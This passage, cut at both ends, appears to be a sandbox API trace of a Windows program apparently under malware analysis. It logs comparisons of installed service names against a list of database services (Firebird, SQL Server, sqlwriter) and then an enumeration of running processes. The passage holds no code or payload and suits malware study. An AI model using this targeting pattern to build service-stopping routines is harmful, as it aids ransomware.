lpString2="DusmSvc") returned 1 [0272.633] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0272.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0272.633] lstrlenW (lpString="EventLog") returned 8 [0272.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0272.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0272.634] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0272.634] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0272.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0272.634] lstrlenW (lpString="EventSystem") returned 11 [0272.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0272.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0272.634] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0272.634] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0272.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0272.634] lstrlenW (lpString="FontCache") returned 9 [0272.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0272.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0272.634] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0272.634] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0272.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0272.634] lstrlenW (lpString="gpsvc") returned 5 [0272.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0272.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0272.634] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0272.634] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0272.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0272.634] lstrlenW (lpString="iphlpsvc") returned 8 [0272.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0272.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0272.634] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0272.634] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0272.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0272.634] lstrlenW (lpString="KeyIso") returned 6 [0272.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0272.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0272.634] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0272.634] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0272.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0272.634] lstrlenW (lpString="LanmanServer") returned 12 [0272.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0272.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0272.635] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0272.635] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0272.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0272.635] lstrlenW (lpString="LanmanWorkstation") returned 17 [0272.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0272.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0272.635] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0272.635] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0272.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0272.635] lstrlenW (lpString="lfsvc") returned 5 [0272.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0272.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0272.635] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0272.635] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0272.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0272.635] lstrlenW (lpString="lmhosts") returned 7 [0272.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0272.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0272.635] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0272.635] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0272.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0272.635] lstrlenW (lpString="LSM") returned 3 [0272.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0272.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0272.635] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0272.635] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0272.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0272.635] lstrlenW (lpString="MpsSvc") returned 6 [0272.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0272.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0272.635] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0272.635] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0272.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0272.635] lstrlenW (lpString="NcbService") returned 10 [0272.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0272.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0272.636] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0272.636] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0272.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0272.636] lstrlenW (lpString="netprofm") returned 8 [0272.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0272.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0272.636] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0272.636] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0272.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0272.636] lstrlenW (lpString="NgcSvc") returned 6 [0272.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0272.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0272.636] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0272.636] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0272.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0272.636] lstrlenW (lpString="NlaSvc") returned 6 [0272.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0272.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0272.636] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0272.636] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0272.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0272.636] lstrlenW (lpString="nsi") returned 3 [0272.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0272.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0272.636] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0272.636] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0272.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0272.636] lstrlenW (lpString="PcaSvc") returned 6 [0272.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0272.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0272.636] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0272.636] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0272.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0272.636] lstrlenW (lpString="PlugPlay") returned 8 [0272.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0272.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0272.636] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0272.637] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0272.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0272.637] lstrlenW (lpString="Power") returned 5 [0272.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0272.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0272.637] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0272.637] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0272.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0272.637] lstrlenW (lpString="ProfSvc") returned 7 [0272.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0272.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0272.637] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0272.637] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0272.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0272.637] lstrlenW (lpString="RpcEptMapper") returned 12 [0272.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0272.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0272.637] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0272.637] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0272.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0272.637] lstrlenW (lpString="RpcSs") returned 5 [0272.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0272.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0272.637] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0272.637] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0272.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0272.637] lstrlenW (lpString="SamSs") returned 5 [0272.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0272.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0272.637] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0272.637] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0272.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0272.637] lstrlenW (lpString="Schedule") returned 8 [0272.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0272.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0272.637] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0272.638] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0272.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0272.638] lstrlenW (lpString="SecurityHealthService") returned 21 [0272.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0272.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0272.638] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0272.638] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0272.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0272.638] lstrlenW (lpString="SENS") returned 4 [0272.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0272.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0272.638] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0272.638] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0272.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0272.638] lstrlenW (lpString="ShellHWDetection") returned 16 [0272.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0272.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0272.638] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0272.638] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0272.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0272.638] lstrlenW (lpString="Spooler") returned 7 [0272.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0272.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0272.638] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0272.638] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0272.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0272.638] lstrlenW (lpString="StateRepository") returned 15 [0272.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0272.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0272.843] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0272.843] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0272.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0272.843] lstrlenW (lpString="SysMain") returned 7 [0272.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0272.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0272.843] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0272.843] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0272.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0272.843] lstrlenW (lpString="SystemEventsBroker") returned 18 [0272.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0272.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0272.844] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0272.844] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0272.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0272.844] lstrlenW (lpString="Themes") returned 6 [0272.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0272.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0272.844] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0272.844] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0272.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0272.844] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0272.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0272.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0272.844] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0272.844] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0272.844] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e07d8 | out: hHeap=0x630000) returned 1 [0272.844] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1074 [0272.848] Process32FirstW (in: hSnapshot=0x1074, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0272.849] Process32NextW (in: hSnapshot=0x1074, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0272.850] lstrlenW (lpString="System") returned 6 [0272.850] Process32NextW (in: hSnapshot=0x1074, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0272.850] lstrlenW (lpString="smss.exe") returned 8 [0272.850] Process32NextW (in: hSnapshot=0x1074, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0272.851] lstrlenW (lpString="csrss.exe") returned 9 [0272.851] Process32NextW (in: hSnapshot=0x1074, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0272.852] lstrlenW (lpString="wininit.exe") returned 11 [0272.852] Process32NextW (in: hSnapshot=0x1074, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0272.853] lstrlenW (lpString="csrss.exe") returned 9 [0272.853] Process32NextW (in: hSnapshot=0x1074, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0272.853] lstrlenW (lpString="winlogon.exe") returned 12 [0272.853] Process32NextW (in: hSnapshot=0x1074, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0272.854] lstrlenW (lpString="services.exe") returned 12 [0272.854] Process32NextW (in: hSnapshot=0x1074, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0272.855] lstrlenW (lpString="lsass.exe") returned 9 [0272.855] Process32NextW (in: hSnapshot=0x1074, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0272.856] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0272.856] Process32NextW (in: hSnapshot=0x1074, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0272.856] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0272.856] Process32NextW (in: hSnapshot=0x1074, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.857] lstrlenW (lpString="svchost.exe") returned 11 [0272.857] Process32NextW (in: hSnapshot=0x1074, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.858] lstrlenW (lpString="svchost.exe") returned 11 [0272.858] Process32NextW (in: hSnapshot=0x1074, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0272.859] lstrlenW (lpString="dwm.exe") returned 7 [0272.859] Process32NextW (in: hSnapshot=0x1074, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.859] lstrlenW (lpString="svchost.exe") returned 11 [0272.860] Process32NextW (in: hSnapshot=0x1074, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.860] lstrlenW (lpString="svchost.exe") returned 11 [0272.860] Process32NextW (in: hSnapshot=0x1074, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.861] lstrlenW (lpString="svchost.exe") returned 11 [0272.861] Process32NextW (in: hSnapshot=0x1074, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.862] lstrlenW (lpString="svchost.exe") returned 11 [0272.862] Process32NextW (in: hSnapshot=0x1074, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.863] lstrlenW (lpString="svchost.exe") returned 11 [0272.863] Process32NextW (in: hSnapshot=0x1074, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.863] lstrlenW (lpString="svchost.exe") returned 11 [0272.863] Process32NextW (in: hSnapshot=0x1074, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.864] lstrlenW (lpString="svchost.exe") returned 11 [0272.864] Process32NextW (in: hSnapshot=0x1074, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.865] lstrlenW (lpString="svchost.exe") returned 11 [0272.865] Process32NextW (in: hSnapshot=0x1074, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.865] lstrlenW (lpString="svchost.exe") returned 11 [0272.865] Process32NextW (in: hSnapshot=0x1074, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.866] lstrlenW (lpString="svchost.exe") returned 11 [0272.866] Process32NextW (in: hSnapshot=0x1074, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0272.867] lstrlenW (lpString="spoolsv.exe") returned 11 [0272.867] Process32NextW (in: hSnapshot=0x1074, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.868] lstrlenW (lpString="svchost.exe") returned 11 [0272.868] Process32NextW (in: hSnapshot=0x1074, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0272.869] lstrlenW (lpString="audiodg.exe") returned 11 [0272.869] Process32NextW (in: hSnapshot=0x1074, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, 